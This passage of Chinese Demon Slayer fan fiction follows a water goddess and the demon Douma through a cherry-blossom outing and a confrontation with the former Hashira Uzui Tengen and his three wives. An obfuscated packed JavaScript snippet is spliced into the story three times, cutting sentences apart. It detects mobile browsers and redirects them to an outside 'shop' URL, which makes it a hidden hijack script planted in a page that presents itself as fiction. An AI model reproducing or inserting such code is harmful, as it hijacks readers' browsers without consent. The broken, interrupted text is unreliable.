虽然不愿意承认,但这鬼的财运似乎和他的血鬼术天赋一样比别人多上一倍… 这事在接下来的拜访中再次得到了印证。 那位田中议员在洋人面前虽然客客气气,但明显不愿跟我多说话,直到我打开带来的锦盒,里面露出了一只七宝烧香罐。 “这,这是…” 我以为他是嫌东西太贵重不敢收,于是微笑道: “您不必客气,只是我们极乐寺的一点小小心意而已。” 他伸手小心地将那只香罐捧了起来,左右端详一番后,语气突然变得凝重起来: “没错,这正是我祖母陪嫁的那件。” ??? 这就很尴尬了。送别人东西,怎么送到物主本人头上了,这是什么倒霉的巧合? 正想着拿什么理由搪塞一下,却听他说:“那位神明…至今还在世吗?” 我顿时意识到其中的关键,于是反应神速地说,“当然,教主大人会在永恒的时光中指引他的每一位信徒。” “真是奇妙的缘分,是神明保佑啊…”田中议员擦了擦眼睛,“当年在下的祖母从京都嫁到江户,因为和武家出身的祖父家难以相处而苦闷不已,在一次进山散心时遇到了真正的神明,神明不仅安慰了祖母,给予了她活下去的勇气,后来还指点了家中的生意,所说的话竟然都一一应验了,祖母从此也在家里有了地位,连一向倔强的祖父都不得不承认神明的力量。祖母为了感谢神明的恩赐,就将陪嫁的两只香罐的其中一只供奉给了神明所在的寺庙。但那座寺庙极其难找,祖母去世后,我们就再也没能有幸前往了。” “在下近期要参加党内选举,正处在举棋不定之时,这次巧遇一定是祖先的意志,请荒川小姐务必帮在下安排去寺庙拜见神明的机会,拜托您了!” 我和一头雾水的保罗被议员千恩万谢地送了出来,对方不仅没收礼物,还叫人送了点心给我们,坚持派车送我们回咖啡馆。 坐在车上,洋人终于忍不住问道: “荒川小姐,虽然我已经来到日本几年,但对这里的宗教还是感到十分困惑…你能不能给我讲讲,这位田中阁下说的神明,是怎么一回事?” 我只能大概将万世极乐教的神子故事给他讲了一遍,没想到他听完直接皱起了眉头。 “荒川小姐,可能有些冒犯,但在我的国家,这种信仰被称为异端,要知道世界上只有一位神之子,即是上帝的儿子耶稣,他为了救赎人类的原罪献出了自己的生命,其他自称是神之子的,不是渎神者就是骗子。” 我实在不知道该怎么向洋人解释这个问题,于是笑道: “这就是国家文化的不同了,在大和,人们信奉世间有八百万神明呢。至于田中议员所说的那位神明之子,您也可以将他看成是一个非常聪明的人,他深知人性和欲望,也了解世上某些事情的规律,所以能为需要帮助的人提供咨询,但无论如何,能帮到他人就是好事,对吧?” 说着说着,车就开到了咖啡馆门口,我一眼就看到了停在路边的那辆浮夸的红车,但里面没人。再一转头,透过咖啡馆的落地玻璃窗,我看见童磨正笑眯眯地朝我挥手。 这家伙什么时候来的?! 我火速冲了进去,先是环视室内一周,没发现什么可疑的血迹或血腥味,每桌的客人看起来都很正常地在用餐和交谈,唯一不同的是几个女招待和女顾客的目光好像是粘在了某只鬼身上一样。 ……姑娘们,女士们,请爱惜你们的生命啊! 不得不说大约是混迹吉原多年的缘故,这鬼还真会打扮自己。这次出来竟然没穿他一贯喜欢的的血红色,而是身着深色和服,外面披了件相当惊艳的银白细条纹羽织,那质地一看就是东京这边最上等的丝绸料子“桐生织”,配上他白橡色的长发和剔透璀璨的瞳色,简直耀眼的像个神。 赏樱花而已啊教主大人… 别的先不说…您出门一般都不用拟态的吗??! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252371|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用拟态也就罢了,装模作样的占了窗边的桌子看报纸是什么鬼?! 我快步走向他,一把按住桌上的报纸,压低声音说: “你跑到这里干什么?不是说好去墨堤等我吗?” “诶?山田说小染之前在这里工作,我想看看是什么样的地方嘛~”鬼无辜地眨了眨他的虹彩大眼睛,“再说这里的人聊的东西好像都很有趣哦,人家也想了解下现在的人类呀。” 说的也不是没有道理,自出生就被囚禁的神明,从重见阳光的那一天起,就注定要走出极乐寺的大门,面对外面的世界。 “那好,”我坐了下来,认真地注视着他的眼睛,“我们来做个约定吧,童磨大人。夜晚才是我们的工作时间,所以只有晚上可以狩猎和进食,白天是休息时间,哪怕是遇到稀血,也要克制住自己,你能做到吗?” “小染就这么不相信人家嘛?”鬼立刻挂上了一副伤心欲绝的表情,就差泪流成河了,“自从吃了那个花,明明已经没再像之前那样容易饿啦,呜呜…人家还带了酒想跟你一起喝呢,竟然冤枉人家…” 感觉周围的女性已经开始用鄙夷的眼神看我,就好像我是个始乱终弃的人渣一样。 不,不是你们想的那样!不要被这种人骗了! “荒川小姐,这位是你的朋友吗?” 我僵硬地转过身去,正巧对上洋人老板关切又好奇的眼神。 还没等我开口,就见某只鬼脸上露出了从容的微笑,姿态颇为优雅地伸出了手。 “诶呀,初次见面,我叫童磨。您的店真棒呀。” 这场混乱至极的社交游戏的结果是,我一边抱着一袋子店里送的红豆面包和三明治,一边硬拖着毫无半点尴尬神色、还在跟洋人侃侃而谈最近的内阁选举的童磨大人出了咖啡馆的大门。 “荒川小姐,你是个非常有眼光的姑娘。”帮我装面包时,保罗特别欣慰地说,“说实话,我和明子夫人原本担心你上当受骗,特别对方还是个有钱人…但现在我要承认,我从未见过这么聪明又沉稳的年轻人,我唯一好奇的是,这位童磨先生家中是做什么的?能培养出如此得体的举止和敏锐的洞察力,难道是华族?” 虽然已经完全放弃了自己的脸面和良心,我还是忍不住垂死挣扎了一下。 “不…您误会了…他其实是…” “我理解,你们国家的贵族都很低调。恭喜你找到了合适的恋爱对象,荒川小姐,订婚时记得邀请我们。哦,顺便说一句,我第一次见到这种颜色的眼睛,真是太美了。” “……您就一点也不觉得他奇怪吗?” 洋人老板宽容的笑了:“荒川小姐,完全没必要担心,这是有科学解释的,我猜是一种罕见的虹膜异色症?” 这一连串的打击过于强烈,我有点麻木地拉开车门坐了进去,满脑子都是下次再也不要大白天带着一只在社交方面异常积极的鬼出现在人多的地方。等到车子上了马路,才发现坐在驾驶位置的并不是山田先生。 “你、你什么时候学的开车?”我目瞪口呆地看着那只鬼打了一把方向盘,然后只觉得好端端的洋车像脱缰的野马一样斜着窜了出去。 “没学过呀,这么简单的事还需要学嘛?比血鬼术容易多啦~” 我,一个神灵,终于在恶鬼的恐怖面前发出了绝望的哀嚎: “救…命…啊——!” 95. 终章:花(12) 已是四月,隅田川两岸的樱花开的云蒸霞蔚,连河面上都铺了一层花瓣,我拎着一堆点心面包和茶具,好不容易在岸边找到一块没什么人的地方,刚铺好了茶席,就看那只鬼一手撑着伞,一手抱着一大瓶酒,慢悠悠地走了过来。 对,这家伙依然不太适应阳光,所以不知道从哪翻出一把红白相间的油纸伞用来遮阳,普普通通一把伞,拿在他手里硬是有种歌舞伎般的摇曳生姿,丝毫不显得突兀。 不愧是京都出身的…鬼啊。 现今被称为“隅田川”的河流,在幕府时只是荒川下游的一条支流,吉宗将军曾命人在两岸遍植千棵樱花,那时江户人赏樱还仅限于墨堤上,现在河上也修起了几座木桥,远远望去上面挤满了人,更有人租了小船在河中和友人畅游,昔日只供大名们乘船来往觐见的水道,也成了庶民的乐园。 那来自秩父山的河水清澈而平静,已经多年不曾泛滥。旧日江户的繁华与堕落,早已随着两百年来昼夜不息的流水一路入海,投入下一个轮回。 时代变了,人类变了,我们也在漫长的时光里缓慢地改变着。 樱花团子变成了红豆面包,轿子变成了洋车,但江户城春天的樱花,却从未改变。 “我记得当年这两边还是开满野花的荒地呢,”我感慨道,“现在居然这么热闹了。” 童磨懒洋洋地歪在一旁,拿着酒杯笑道:“几十年前就成这样啦,不过还真是第一次见到白天的样子呢,人家都快要忘记樱花是什么颜色了。” 我翻了个白眼:“童磨大人的脑子里装的都是信徒和血鬼术,哪里还记得住樱花这种小事。” 没想到他语气平静地说: “我记得哦,虽然之前忘记了,但现在记得很清楚呐。” “那个小姑娘,站在大街上和武士家的男孩吵架,还用手抓住人家的衣服不放,我当时真担心她的脑子是不是有什么问题,不管她的话,肯定是会死的吧。” “没想到后来更过分哦,她竟然掀了别人的茶席,还诅咒人家全身烂掉,诶呀呀,真是从没见过那么凶的女孩子呢。” “我就想,真可怜呀,这就不只是脑子笨了。她大概和我一样,不懂什么叫害怕。” 不,她知道害怕。我想。 在掀翻茶席时,她就是怕的。 在跳进荒川时,她怕到全身发抖。 在面对继国缘一时,她怕的几乎握不住刀。 但比起这些,她更怕失去你。 我在杯子里倒满酒,闭上眼睛一口灌了下去,立刻被辣出了眼泪,赶紧抓起个面包往嘴里塞。 “这是什么酒啊,好好好辣!” “诶,这可是今年松尾神社的贡酒,这么多年味道都没有变过,很难得哦~啊,小染的脸红了呢,真可爱呀~” “有什么了不起的,不就是烧酒吗?我、我可是个神明!你等着,这就给你看看什么叫神明之力!” 我跳了起来,原地伸开双臂转了个圈,红色振袖在风中展开如飞鸟的羽翼。 “沧龙·雨瀑!” 只见荒川上空转瞬乌云密布,一场盛夏才有的暴雨倾盆而下。 垂枝樱被豆大的雨点打落了无数,桥上和树下赏樱的人群惊叫连连,连东西都顾不上拿就抱头逃窜,即便这样,多数人也瞬间被浇成了落汤鸡,远处隐约传来气急败坏的叫骂声: “什么鬼天气,才四月就下这么大雨?!” “新买的衣服全湿透啦!这也太倒霉了!” 被浇了个清醒,我默默低头弄干衣服和头发上的水,不好意思地说:“抱歉抱歉,没掌握好雨量。” 鬼举着油纸伞把自己遮的严严实实,还没忘兴高采烈地拍手: “哇啊~这可太有趣啦!咱们多玩几次怎么样?对了对了,差点忘记小染是水神,就试试在地狱里用过的那个招式吧!能发洪水的那个!” “…童磨大人,你就算不为人命着想,也要为点心着想啊,我的面包啊…” 经此一劫我明白了什么叫自作自受,红豆面包和三明治全数阵亡,只有田中议员送的和果子因为装在精致的漆盒里,得以幸免于难。 “好可惜…本来想让你尝尝这个面包来着,是店里的新品呢…算了,和果子配茶的话也还不错…” 我郁闷地收拾起湿乎乎的面包,忽然听见远处又有人惊叫了起来,我抬起头,发现一道巨大的彩虹出现在灰蓝的云层之下,横跨荒川两岸,在被落樱装点地过于绚烂的河面上形成了一道幻梦般旖丽的桥。 “啊!出现了!就是想给你看这个呢!”我兴奋地指着彩虹喊道,“我果然是个厉害的水神!很漂亮吧?像不像你的眼睛?” 身后却没有回音。我回过头,看到那只鬼有点困惑地盯着那道在雨云的映衬下闪闪发光的彩虹,就好像不认识那是什么东西一样。 毫无预兆地,一滴透明的水从他的左眼中滑落下来。 “诶?这是…?“ 更多透明的水从那只眼睛中涌现出来,那只和彩虹一样颜色的眼睛。 是曾经刻着“上弦”二字,被猎鬼人的刀捅穿的眼睛。 是沾满鲜血,在无限城的噩梦中掉落在我面前的眼睛。 是八岁时目睹父母惨死,依旧波澜不惊的眼睛。 是被人世的黑暗吞噬了灵魂的,神明之子的眼睛。 “诶?好奇怪呀,这个…是什么呢?”鬼喃喃自语道,“是从来没有过的感觉呢…” 我走上前去,轻轻拥抱住他。 “我不知道,童磨大人,可能是喜悦,也可能是悲伤,因为人无论在喜悦还是悲伤时都是会哭的。” “可是我不喜欢这种感觉呀,”鬼委屈地说,“都怪小染,人家不喜欢这种感觉呢。” “不喜欢的感觉也是感觉,不能因为不喜欢,而拒绝去感受。”我轻声说,“但不喜欢的话,是可以说出来的。童磨大人这次就做的很好哦。” “说出来又能怎样嘛,还不是一样的结果?” “说出来的话,我会听哦。” 我仰着头,认真地看着他。 “那样的话,我就会对你说,一切本来不是你的错,是那些人对你做了很过分的事,他们不值得你的救赎。” “你已经做了很多的好事,帮助过很多的人了,从现在开始,试着去寻找属于你自己的幸福吧。” 我伸出手,擦去了那些眼泪,就像两百年前那个春日的午后,极乐教的小神子微笑着擦去荒川神社的小巫女脸上的泪水一样。 童磨一动不动地看着我,片刻之后他突然眯起眼睛,笑的像只奸计得逞的狐狸。 “小染上当啦,人家是开玩笑的哦~诶呀诶呀,不会是当真了吧?脑子这么笨的神明,我还是第一次见呢!” 我叹了口气。 “原来如此,我还以为童磨大人只是喝多了呢。” “怎么会呢,人家的酒量一向很好哦~” “哦,那刚刚不知道是哪只鬼在哭了。” “都说了是开玩笑的嘛,明明一点感觉都没有!” “好的好的,是大人你赢了,要不要吃点心?” “田中吗…” 鬼捏着一只半透明的樱花麻薯左右端详。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252372|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我想起来了,那是差不多五十年前的事啦。他家是做盐业出身的,在当时很有钱哦。但那位夫人过的很痛苦,所以跑到山里想自杀,正巧被我碰到啦。” 我边倒茶边笑:“那你还真是善心大发啊,竟然没吃掉她?” “人家也不是见女人就吃的嘛,再说那天刚好吃饱啦。后来听她说了家里的事,就随便指点了几句,没想到呀,居然还能碰到那家的后代?” “那位田中议员看着不像是很有才能的人,但运气还算不错的样子,加上好像是负责东京都治安方面的工作,我觉得也许可以帮他一下。” “小染这么说的话,咱们就这么办吧。”童磨握着扇子笑眯眯地说,“但依我看,现在的形势可不是很妙,可能几个月内城里就会发生大事哦,如果这位议员运气好的话,也许可以借着混乱获得他想要的位子呢。啊,这个也太甜了,人家不要吃啦~” “给我给我,别浪费了。”我抢过那块麻薯,“刚看那边的料亭有鲷鱼烧卖,我去买个尝尝,你别乱跑哦。” “小染,你都吃了一盒子点心啦~” “……要你管!” “老板,我要鲷鱼烧!” 店主从柜台后面直起身来,为难地搓了搓手,“真抱歉,刚刚下大雨把炭炉浇灭了,现在做不了新的,最后几个已经被那边的小姐买走了。” “诶?这样啊…” “那个…我们买了很多,你不介意的话,也可以分给你。” 我循着声音回过头,看到是一位梳着利落的马尾、眼角有泪痣的漂亮姑娘。 “啊…那多不好意思。” “没关系的。这家的鲷鱼烧很有名,我们也是来赏樱时刚听人说的,刚才的雨太大,来躲雨的人就把剩下的一抢而空了。”那姑娘笑道。 “那我就不客气啦,真是太感谢了。”我从她手里接过装点心的纸袋,顺便掏出零钱给她,正在此时,外面又传来两个女孩的声音: “雏鹤,怎么这么慢啊?” “雏鹤姐姐,我们都等急啦!” 被称作“雏鹤”的少女回头应道:“须磨,槙於,我马上就来。” “请问…” 我的手划过那女孩的指尖,感受到奇特的触感。 “你…是武者吧?” “抱歉,你说什么?”少女疑惑地看着我。 “没什么,谢谢你的鲷鱼烧。” 我朝她柔和地一笑,转身走了出去。 外面站着两个姑娘,一个染了黄头发,神色显得有点急躁,另一个年纪看起来要小一些,长相很是甜美。 现在的女孩子啊…真是不能小看。 才十几岁的样子,手上就有了短刀之类的东西磨出的老茧,身体也非常柔韧结实,一看就是习惯战斗的体格。 我并不想生事,于是低头走过了她们,却不小心撞上了一个高大的身影。 “喔,真是位华丽的女性啊!”对方发出了在我听来略显轻佻的声音。 那是个相当强壮帅气的男人,只是一只眼睛上戴着黑色的眼罩,眼罩上镶嵌了几块明晃晃的宝石。 我静静看了他一眼,颔首道:“多谢夸奖。” 血的气息。这人手上沾过人的血,以及鬼的血。 是我非常熟悉的…鬼的血。 回到樱花树下,我默默咬着鲷鱼烧,觉得红豆馅的味道甜的有些发苦。 “这是怎么啦?小染怎么不说话了呀?” 童磨满脸好奇地凑了过来,“诶?是不开心吗?有什么事情嘛?” “我…好像遇到杀掉小梅的人了。” 96. 终章:花(13) 也是凑巧,那男人带着三个姑娘有说有笑地走到了不远处的树下,可能察觉到了我的目光,还举起酒杯对我笑了笑,露出一口整齐洁白的牙齿。 “哦哦,是那个柱啊。” 童磨用手指轻敲着细长的雕花烟杆,百无聊赖地说。 “可惜已经残废了。他身边那三个女孩子的肉质倒是很不错哦。” 我不得不提醒他:“喂,现在可是白天。” “我知道哦,人家难得出来放松一下,才不想浪费这么美好的景色呢~” “不过,”鬼吐出个烟圈,笑得无辜又纯良,“也不妨碍大家交个朋友嘛。” 童磨大人的社交能力是个谜。 迄今为止,根据无惨大人和各位上弦对他的评价来看,其人品堪称惨不忍睹,尤其狛治阁下见他必往死里打,拿他的话说,就是明明有努力跟大家搞好关系,但大家都对他很冷淡。然而相对的,人类似乎很容易被他吸引乃至信服于他,大约是因为这家伙装成人样时不仅看起来温和又沉稳,还有种莫名的慈悲气质,让人在他面前会不由自主地卸下心防,吐露内心最不堪的过往。 “……忍者就是拿人钱要人命的工作,一点也不华丽,所以我就带着老婆们退隐了。” “还真是不容易呢,宇髓先生。”职业本能上身的教主大人充满同情地接话,“您看起来是如此开朗的人,很难想象小时候经历过那么痛苦的事呢,和同胞兄弟自相残杀一定很难受吧?” “哈哈,所以我这种人以后一定会下地狱的。”戴眼罩的男人仰头灌下一大口酒,“啊,你这家伙带的酒真是华丽,作为祭典之神的我很满意!忘了问,你叫什么?是做什么的?” ……喝到现在才想起问对方名字,这位自称是祭典之神、“以华丽驰名整个忍界”的宇髓先生还真是个爽快人呢。 “我叫童磨,家里开办了一间寺院,专门为可怜的人们提供帮助哦。” “童磨…?你这家伙名字倒不怎么华丽啊,连姓都没有?” “没有哦,就连这个名字也是别人给的呢。小时候我的父母相信我是神明之子,所以不敢给我取名。” “噗——哈哈哈哈!” 名叫宇髓天元的男人喷出一口酒,相当夸张的大笑起来。 “神明之子?是脑袋被驴踢了才会有这种想法吧?虽然你的确长得挺华丽,但你的父母真是一对丝毫不华丽的蠢货啊!” “对呀,我也认为没有比他们更愚蠢的父母了。” 鬼笑眯眯地为对方又倒上了一杯。我看到名叫雏鹤的女孩皱了皱眉,还没说话,旁边那个黄头发的姑娘率先开口道: “天元大人,您已经喝的太多了,我们该回去了。” “槙於姐姐说的对,”年纪小的女孩子在一边附和,“天快黑了,再待下去我们就要赏夜樱啦。” 女人的直觉总是比男人要敏锐,况且这是三名女忍者。 于是我微笑着说: “话说有件事我有些好奇,但不知说出来的话是否冒犯各位?” 名为雏鹤的女孩态度倒是不错:“荒川小姐不必客气,我大概明白您想要问什么。我们三人不是姐妹,但和姐妹也没有区别,都是心甘情愿嫁给天元大人的。” “啊…我倒是初次听闻这种事。”我惊讶道,“据我所知,忍者这个行当在幕府时就已经消失了呀。而且现今已是大正…竟然还可以一次娶三位妻子吗?” “就是因为忍者的工作很危险,才需要多几位妻子来延续血脉。”雏鹤笑道,“通常女忍只被当作生育工具和牺牲品,但天元大人却珍惜我们胜过珍惜自己的生命,能嫁给他当妻子,我们都感到非常幸福和自豪。” “天元大人最讨厌了,整天说自己杀的人太多,要下地狱赎罪什么的,好过分!”叫须磨的女孩子快言快语地说,“他其实是个很温柔的人哦,连我这种在战场上只会拖后腿的笨蛋都不会被嫌弃呢!” “须磨,不要再说那种丧气话!好不容易才过上退休生活,我再也不想听到地狱啊鬼啊什么的了!” 看得出在三人中雏鹤是最冷静的,她马上打断了那黄头发少女:“好了,槙於,别在别人面前说那些可怕的事了。荒川小姐,我们家离城里还有点距离,所以不得不失礼地说一句,时候不早了,今后如果有机会,欢迎你去我们那里玩。” “诶呀,不要着急嘛。”童磨热情地说,“难得我和宇髓先生这么谈得来,这缘分可以说是奇迹了哦。其实我有辆洋车,大家挤挤应该坐得下,不如我送你们回去吧?” 宇髓先生瞪大了眼睛,“你这家伙还真是华丽,居然买得起洋车?难怪娶的老婆也这么华丽啊!” “咳咳…”我被茶水呛了一大口,“抱歉,您误会了,我只是他的女侍而已。” “哎哎?你们不是夫妻吗?”须磨大叫起来,“怎么看都是一对啊!” 我擦了把汗,“怎…怎么看都不是吧…” “作为女人的话,你个子有点太高了。”戴眼罩的男人煞有介事地品评道,“体型倒是相当华丽,应该很容易生养。” “什么…不!谢谢!并没有那种打算!” 大正时代的柱到底都是些什么奇怪的人啊?喜欢吃鲑鱼萝卜的面瘫男人也就罢了,现在又加上娶了三个妻子的前忍者…相比之下,早云他们是多么可靠又正常的人类啊! 小梅啊,你到底是被哥哥给娇惯成什么样子,才会被这种流里流气的家伙给打败的啊? 要是能再见面,我一定得好好教训你一顿才行,否则休想让我送你鲤鱼和池塘! 满脑子都是对小梅的怨念,我跟着童磨拐进了一条没人的街巷,那位宇髓先生和他的三个漂亮妻子跟在我身后。我留意到雏鹤的心跳声有些快,人明显变得警觉起来,但另外两个女孩有说有笑,还沉浸在对洋车的好奇心里。 我不动声色地放慢了脚步,等着那几个女孩子跟上来。雏鹤走到我身边时礼貌地问道: “荒川小姐,我们还有多远?” “就在前面不远了。”我笑道,“雏鹤小姐累了吗?马上就到了。” 天色已经完全黑了下来,路的两侧还有零星的店铺,但大多已经打烊了。 “等等。” 那位一直没出声的宇髓先生忽然停下了脚步。 “雏鹤,槙於,须磨,你们过来。” “哎?天元大人,怎么了吗?”须磨回过头,不明所以地问。 “过来!马上!”那男人突然厉声喝道。 不愧是女忍者,三位少女像是受训过的战士一样,仅仅一瞬间就迅速闪身到了宇髓天元的身后,列成了品字阵。 “诶呀呀…” 童磨转过身来,满面笑容,嘴角露出的尖牙在月下泛起了雪白的冷光。 “真可惜呀,本来还觉得大家可以好好相处的呐…不过好奇怪,我明明已经没有鬼的气息了吧,你是怎么发现的呀?忍者都这么厉害嘛?” “是啊,真够丢脸的,就连华丽的我也差点被你骗了。”宇髓天元剩下的一只眼睛里流露出凌厉的寒意,“但恰好我的听觉比一般人要敏锐,你为什么…走路没有声音?” “诶?什么嘛,只是这种小事而已?”童磨无辜地摊开手,“下次我会注意哦~” 杀气从前忍者的身上爆发出来,虽然只剩一条手臂,但动作依然快到让人几乎看不清,他一边飞身跃起,一边丢出了几颗黑色的圆形物体。 空气中弥漫开一丝硝磺的味道。 炸药? 我挥手,一道水龙卷拔地而起,将那几颗□□裹了进去。与此同时,凛冽的冰风呼啸而至,从地面到路边的石墙顷刻便挂上了一层白霜。 叮叮几声脆响,几枚黑色的、短匕首似的暗器掉落在地上,名叫雏鹤的少女发出一声悲鸣,被虚空中伸出的几道冰莲蔓缠住身体,死死压制在石墙上。 白发的鬼手中展开了一道金色流光,饮血无数的莲华铁扇在黑暗中轻轻翕动,仿佛死神的羽翼。 他手指间拈着一枚黑色的暗器,饶有兴致地看了看。 “就是这个嘛?是叫什么来着?苦无?很不错哦,居然能想到用这种东西来对付鬼…诶诶,还涂了紫藤花毒吗?但这种程度的毒,妓夫太郎应该是可以解开的呀?” “怎么可能?你是…上弦之贰?” 名为宇髓天元的男人不知从哪里抽出一把短刀握在手里,浑身上下的肌肉都绷紧到了极限。 童磨眨了眨眼。 “这次你又是怎么知道的呀?我眼睛里可没刻字哦?” “无限城一战中,蝴蝶被上弦之贰吞噬…幸存的队员说过,那个上弦除了擅长冰的血鬼术,还使用一对锋利的金扇作为武器。” 柱不愧是柱,在这种情况下,还能保持冷静沉着。 “但是…你应该已经被华丽地砍头了才对,不对,连无惨都已经下地狱了,你只是上弦,到底是为什么…” “啊,我确实死了,小忍是很坚强的女孩子,用的毒也很棒哦,让人家相当感动呢!”鬼笑嘻嘻地说,“但你们这些猎鬼人的三观全都有很大的问题哦。地狱不是你们想象的样子,那种会有神佛惩治坏人什么的说法,都是人类编造出来安慰自己的童话哦。相反,地狱是个非常有趣的地方,简直让人家玩到快要上瘾啦~要不是小染不许我偷懒,我都开心到不想回来啦~” 嗯…是童磨大人的招牌式魔鬼言论呢… 果然,那位名叫宇髓天元的柱愣在了原地。 “怎么可能…我们…鬼杀队付出了那么大的代价才灭尽恶鬼,现在你告诉我,你是从地狱里回来的?你这家伙脑子有问题吗?是开玩笑的吧?” “宇髓先生,人是灭不尽鬼的。” 我走到那茫然无措的男人面前,感到了一丝怜悯。 “我们来找你的目的并不是复仇。我只想问一个问题,顺便给你讲一个故事。你能把刀收起来,容我把话说完吗?” “荒川小姐,你…你是鬼吗?” 那名叫须磨的少女显然吓坏了,惨白着一张脸问道。 “须磨,跟她废什么话?!” 黄头发的少女不知何时闪身到我身后,又是一把黑色的苦无向我的脖颈挥来。 回旋的水流将她撞出老远,冰之莲蔓从地面涌现出来,少女瞬间失去了行动能力。 “我说你们这些猎鬼人,真是愚蠢到让人绝望呀。” 童磨摇了摇扇子,竟然显得有点无奈。 “这里可不是无限城,是银座附近呀,真要打起来的话,周围的人类一个都活不了哦。所以,你们最好想清楚了,再跟我动手哟~” “另外,宇髓先生你已经残疾了吧,少了一只眼睛和一条手臂,准头明显差了很多呢。而且你也没有带日轮刀…诶呀,就算有日轮刀的话,现在砍我的脖子也不一定管用哦?毕竟人家已经能在太阳底下活动了嘛~鬼杀队的绝招就这么白费啦,想到这个就觉得你们好可怜,太可怜了~” 名为宇髓天元的柱怔怔地看着面前的恶鬼。 “你…找到了青色彼岸花?” 童磨并未回答他,而是笑眯眯地对我说: “小染,封锁这条街道吧,我们不要玩的太过火哦?” 我轻轻躬身:“是,童磨大人,已经布下隔绝用的结界了,外面的人也听不到这里的声音。” “那就好啦~宇髓先生想打的话,就随他的便吧~” 我其实很佩服猎鬼人奋不顾身的勇气,毕竟面对童磨的压迫感,连我都有些难以承受。 何况这个家伙现在的“术”实在有点诡异,导致我也不知道那还算不算是传统意义上的血鬼术。 我望着整条街面上凭空冒出来的无数活生生的莲蔓和绽放在其中的雪色莲花,默默感到后背发凉。 这不怪我,谁家的莲花长到这种铺天盖地的程度,都会让人毛骨悚然,怎么看都不是人世的东西。 那是扎根在地狱深处,以人鬼的怨念为养料,从业火与寒冰中长出的莲华。 童磨站在一朵足有桌面大的白莲上,加上穿了一袭银白的羽织,犹如神明降临在人世。 “诶呀呀,这个的范围果然不好控制呀,下次还是用冰好啦~” 鬼一边自言自语,一边轻轻一跃,跳到了被莲蔓缠成个茧子的前任柱面前。 “宇髓先生,你看看你,为什么要躲来躲去的嘛?人家可是很努力地控制住自己,才没有吃掉你哦?” “不过,”他舔了舔牙齿,“你那三位可爱的妻子,看起来都是难得的美味呢~” 宇髓天元的眼中都是血丝,终于失去了冷静。 “别碰她们!你敢碰她们的话,我就算化为厉鬼也…” “那种东西也不怎么好吃哦,还是女孩子的肉最棒了~” 我叹了口气,开口道:“那个…我可以说几句话吗?” “小染说吧~”童磨合上扇子,懒洋洋地在莲花上坐了下来,“现在的柱真是一个不如一个了,连我都开始觉得无聊了哦。” “哈哈哈…” 宇髓天元忽然大笑了起来。 “我的水平在鬼杀队只是中下而已,如果是不死川或者悲鸣屿,一定不会输给你这种垃圾!就算我们这代柱都死了,也会有后世的队员来灭除你们这些恶鬼!可不要小看人类!我们鬼杀队一定会赢!” “诶?我哪里像垃圾了?宇髓先生明明白天还说过人家长得很华丽嘛。”童磨委屈地擦了擦眼睛,“作为朋友还说这种恶毒的话,人家要生气了哦?” “请容我打断一下!” 我大声说,“宇髓先生,你到底为什么要杀鬼?鬼吃过你的哪位亲人吗?” 那位柱的目光终于转向了我。 “你问我为什么要杀鬼?这位鬼小姐,你的脑袋看来也被驴踢了啊!你为什么不问问你眼前这个上弦他为什么要吃人?杀一个上弦就能救下成百上千的人!我这种双手沾满他人鲜血的人,只有这样才能赎罪啊!” “你…杀鬼只是为了赎罪?” 我轻声说,“所以你杀了小梅,并不是因为她和你有私仇,而只是因为她是鬼,吃过人,对吗?” “我不认识你说的什么小梅!你也是鬼吧?你吃过多少人?别在那里假惺惺地说话了!你到底想干什么?不会以为我会不华丽地认输吧?” “我不是鬼,吃人也是很久以前的事了。至于小梅,你可能确实不知道她的名字,她是在吉原花街和哥哥一起被你们斩首的鬼。” 宇髓天元愣了愣,“你说的不会是上弦之六吧,那对兄妹鬼?那个女鬼弱的简直不像上弦,居然掉了脑袋还嚎啕大哭,一点也不华丽,真是笑死人了!” 我笑了笑:“是啊,小梅很爱哭,因为她变成鬼时,只有十三岁啊。” “哈,那和我有什么关系?不管她变成鬼时多大,也已经活了百年,吃了无数的人类,这种鬼不下地狱,难道要娶回家当老婆吗?” “小梅没有那种好命,能被您这样华丽的人娶回家当妻子。” 我走到他面前,冷然道。 “她生在吉原的罗生门河畔,母亲是游女,得了梅毒,早早就死了。她是被哥哥养大的。” “她因为天生银发,被母亲当作不祥之物,如果不是哥哥拼上性命保护,她根本活不下来。” “她哥哥生来就得了梅毒,根本吃不到什么东西,但为了养活她,哪怕自己受尽打骂也心甘情愿。因为她是哥哥生命里唯一的希望,哥哥也是她唯一的依靠。” “她刚满十三岁就成了游女,向一个武士卖春时,因为对方侮辱她哥哥,她用簪子扎伤了那人的眼睛,就被活活绑起来用火烧…当哥哥满心欢喜地带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252373|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着省钱给她买的好吃的回来时,只看到变成了一块焦炭的小梅。” 